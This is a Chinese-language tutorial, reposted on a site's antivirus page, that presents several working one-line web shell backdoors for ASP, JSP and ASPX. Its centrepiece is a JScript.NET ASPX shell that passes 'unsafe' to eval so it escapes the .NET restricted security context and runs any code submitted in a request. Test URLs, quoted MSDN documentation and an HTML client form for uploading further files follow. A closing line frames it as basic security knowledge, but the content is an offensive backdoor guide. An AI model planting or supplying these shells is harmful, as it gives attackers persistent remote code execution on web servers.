明辉站/杀毒教程/内容

ASPX一句话木马--终极版&详细区分

杀毒教程2023-07-07 阅读
[摘要]ASPX一句话木马--终极版&详细分析首先回顾一下以前ASP一句话的经典木马吧! <%if request("nonamed")<>"" then execute request("nonamed...
ASPX一句话木马--终极版&详细分析
ASPX一句话木马--终极版&详细分析
ASPX一句话木马--终极版&详细分析首先回顾一下以前ASP一句话的经典木马吧!

<%if request("nonamed")<>"" then execute request("nonamed")%>

VBS中execute就是动态运行指定的代码而JSCRIPT中也同样有eval函数可以实现,也就是说ASP一句话木马也有个版本是采用JSCRIPT的 eval的!网上也有例子我就不多说了!.....

然后解析语言终究发展成为中间代码例如java .net  动态执行也就不存在了!

之前ASP中正常情况只支持VBS JSCRIPT(像python perlscript 这些特例的我就不说了)...

如今ASPX中 所支持的VBS的高级版本VB已经不存在execute这个独有的方法....真遗憾....

同时Jscript 也一样转向高级版本Jscript.net  但是我们需要的eval函数还是生存下来的!script child有幸了...

先埋下一个伏笔吧~ 先谈谈如今的中间语言WEB应用中的一句话

JSP :<%

if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());

%> 这个是我自己写的 要弹要说,都是大家的 呵呵!我不发言.....

ASPX:<%@ Page Language="C#" validateRequest="false" %><%System.IO.StreamWriter ow=new System.IO.StreamWriter(Server.MapPath("images.aspx"),false);ow.Write(Request.Params["l"]);ow.Close()%>这个不知道是谁的作品,感觉性质有点像我的JSP一句话了!不过还是把简单的shell实现了!支持ing....

两个一句话大体都一样 调用类把 接收的都写到文件!简单说就是对文件写操作而已!~昔日ASP一句话的光辉 如今在中间语言的后门中给限制得荡然无存~~错!......ASPX C/S木马我们一样可以实现!因为有Jscript.net的存在!上面所说到的eval函数还生存着!~

OK我们先来实现

<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["nonamed"]));%>

这样?恩!可以拿去尝试了~ 保存为 text.aspx 然后提交

http://127.0.0.1/text.aspx?nonamed=var%20mydate%20=%20new%20Date();

打印出当前时间...Sat Aug 4 20:05:20 UTC+8 2007

貌似OK了哦! 呵呵 我们再试

http://127.0.0.1/text.aspx?nonamed=Server.MapPath(".");

发现报告错误了!....(我就是因为卡在这里,所以折腾了几个月,不然这文章早出炉了!在这里感谢一下  闇の術士 QQ:4659675 欢迎大家找他学习 ...哈)

错误原因

{

安全性异常

说明: 应用程序试图执行安全策略不允许的操作。 要授予此应用程序所需的权限, 请与系统管理员联系, 或在配置文件中更改该应用程序的信任级别。

异常详细信息: System.Security.SecurityException: 请求失败。

}

为什么会这样呢?OK我们找到 MS文档

往下面看

http://msdn.microsoft.com/library/chs/default.asp?url=/library/CHS/jscript7/html/jsmscStartPage.asp

JScript .NET  

JScript .NET 的新增功能

JScript .NET 是下一代的 Microsoft JScript 语言, 它是使用 Web 语言方便快捷地访问 Microsoft .NET 平台的一种方法。 JScript 的主要作用是使用 ASP.NET 构造 Web 站点和使用 .NET Framework 脚本自定义应用程序。

JScript .NET 与 ECMAScript 标准兼容, 而且它还具有 ECMAScript 未指定的其他功能, 例如, 真正的编译代码、通过符合“通用语言规范”(CLS) 而实现的跨语言支持, 以及对 .NET Framework 的访问。 Visual Studio .NET 2002 中的 JScript .NET 版本充分利用了 .NET Framework 本身所具有的安全性, 而 JScript .NET 2003 为 eval 方法添加了受限安全上下文, 从而进一步增强了安全性。

在 JScript .NET 中的几种新功能旨在充分利用 CLS, 这是用来标准化数据类型、对象公开方式、对象互用方式等内容的一组规则。 任何符合 CLS 的语言都可以使用在 JScript .NET 中创建的类、对象和组件。 作为 JScript 开发人员, 您可以从其他符合 CLS 的编程语言访问类、组件和对象, 而无需考虑语言特定的差异(比如数据类型)。 JScript .NET 程序使用的一些 CLS 功能包括命名空间、属性、引用参数和本机数组。

下面是 JScript .NET 中的一些新功能:

JScript .NET 2003 的新增功能

eval 方法的受限安全上下文

现在, 为了增强安全性, 不管调用方的权限是什么, 内置的 eval 方法都默认下在受限安全上下文中运行脚本。 调用 eval 时如果将“unsafe”作为第二个可选参数, 会导致脚本使用调用方的权限运行, 这样就会允许访问文件系统、网络或用户界面。 有关更多信息, 请参见 eval 方法。

JScript .NET 2002 的新增功能

基于类的对象

JScript .NET(像 JScript 一样)通过基于原型的对象支持继承。 JScript .NET 还允许声明定义对象数据和行为的类, 从而支持基于类的对象。 在 JScript .NET 中创建的类可由任何 .NET 语言使用和扩展。 类可以继承基类的属性和方法。 可以对类和类成员应用几种属性, 修改它们的行为和可见性。 有关更多信息, 请参见基于类的对象。

JScript 数据类型

在 JScript .NET 中(像 JScript 一样), 可以在编写程序时不指定变量的数据类型。 JScript .NET 也可用作一种强类型化语言, 其中所有变量都绑定到特定数据类型, 或者您还可以混合使用类型化和非类型化变量。 JScript .NET 提供了许多新的数据类型。 还可以将类和 .NET 类型用作数据类型。 有关更多信息, 请参见 JScript 数据类型。

条件编译

指令可控制 JScript .NET 程序的编译。 例如, @debug 指令可以为脚本的特定部分打开或关闭调试信息的发布。 有关更多信息, 请参见 @debug 指令。 @position 指令为调试器设置当前行的行号。 有关更多信息, 请参见 @position 指令。 如果正在编写将合并到其他脚本中的代码, 那么这两个指令都是有用的。 有关更多信息, 请参见条件编译。

JScript 命名空间

命名空间通过将类、接口和方法组织成层次结构来防止命名冲突。 在 JScript .NET 中, 您可以定义自己的命名空间。 还可以使用 JScript .NET 访问任何 .NET Framework 命名空间, 包括自己定义的那些命名空间。 包语句允许打包相关的类以实现方便的部署和避免出现命名冲突。 有关更多信息, 请参见 package 语句。 导入语句使得 .NET Framework 命名空间可用于某个脚本, 这样该脚本就能访问命名空间中的类和接口。 有关更多信息, 请参见 import 语句。

JScript 变量和常数

JScript .NET 引入了一个 Const 语句, 用来定义表示常数值的标识符。 有关更多信息, 请参见 JScript 变量和常数。

枚举

JScript .NET 引入了 Enum 语句, 允许构造枚举数据类型。 利用枚举, 可以为您的数据类型值指定有用的名称。 有关更多信息, 请参见 enum 语句。

再来找到 eval方法

http://msdn.microsoft.com/library/chs/default.asp?url=/library/CHS/jscript7/html/jsmtheval.asp

JScript .NET  

eval 方法

计算 JScript 代码并执行。

function eval(codeString : String [, override : String])

参数

codeString

必选。 包含有效 JScript 代码的字符串。

override

可选。 确定要应用于 codeString 中代码的安全权限的字符串。

备注

eval 函数允许动态执行 JScript 源代码。

传递给 eval 方法的代码执行时所在的上下文和调用 eval 方法时的上下文一样。 请注意, 在 eval 语句中定义的新变量或类型对于封闭程序是不可见的。

除非将字符串“unsafe”传递为第二个参数, 否则, 传递至 eval 方法的代码在受限安全上下文中执行。 受限安全上下文禁止访问系统资源, 如文件系统、网络或用户界面。 如果代码试图访问这些资源, 则会产生安全异常。

当 eval 的第二个参数为字符串“unsafe”时, 传递给 eval 方法的代码在调用代码所在的安全上下文中执行。 第二个参数是区分大小写的, 因此, 字符串“Unsafe”或“UnSAfE”不会重写受限安全上下文。

安全说明  在不安全的模式下, eval 只能用于执行从值得信任的源获得的代码字符串。

原来eval 给限制了安全性~呵呵那我们就照他说的去做加入 unsafe参数实现

<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["z"],"unsafe"));%>

OK

提交http://127.0.0.1/test.aspx?z=Server.MapPath(".")

打印出 F:\nonamed\DOTNETPROJECT 是我当前的WEB目录 成功了! 热泪ing~~~ 也就是你提交什么上去他就运行什么 恢复当年ASP后门的效果了!~  -_-

Response.Write可以不要!不过我为了回显 所以加上去了 :)

OK 以下我们构造出 一句话的客户端吧!

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML>

<HEAD>

<TITLE> ASPXone line Code Client</TITLE>

</HEAD>

<BODY>

<form action=http://127.0.0.1/test.aspx method=post>

<textarea name=z cols=120 rows=10 width=45>

var nonamed=new System.IO.StreamWriter(Server.MapPath("nonamed.aspx"),false);

nonamed.Write(Request.Item["l"]);

nonamed.Close();

</textarea>

<textarea name=l cols=120 rows=10 width=45>your code</textarea><BR><center><br>

<input type=submit value=提交>

</BODY>

</HTML>

ASPX一句话木马--终极版&详细分析

上面是电脑上网安全的一些基础常识,学习了安全知识,几乎可以让你免费电脑中毒的烦扰。

……

相关阅读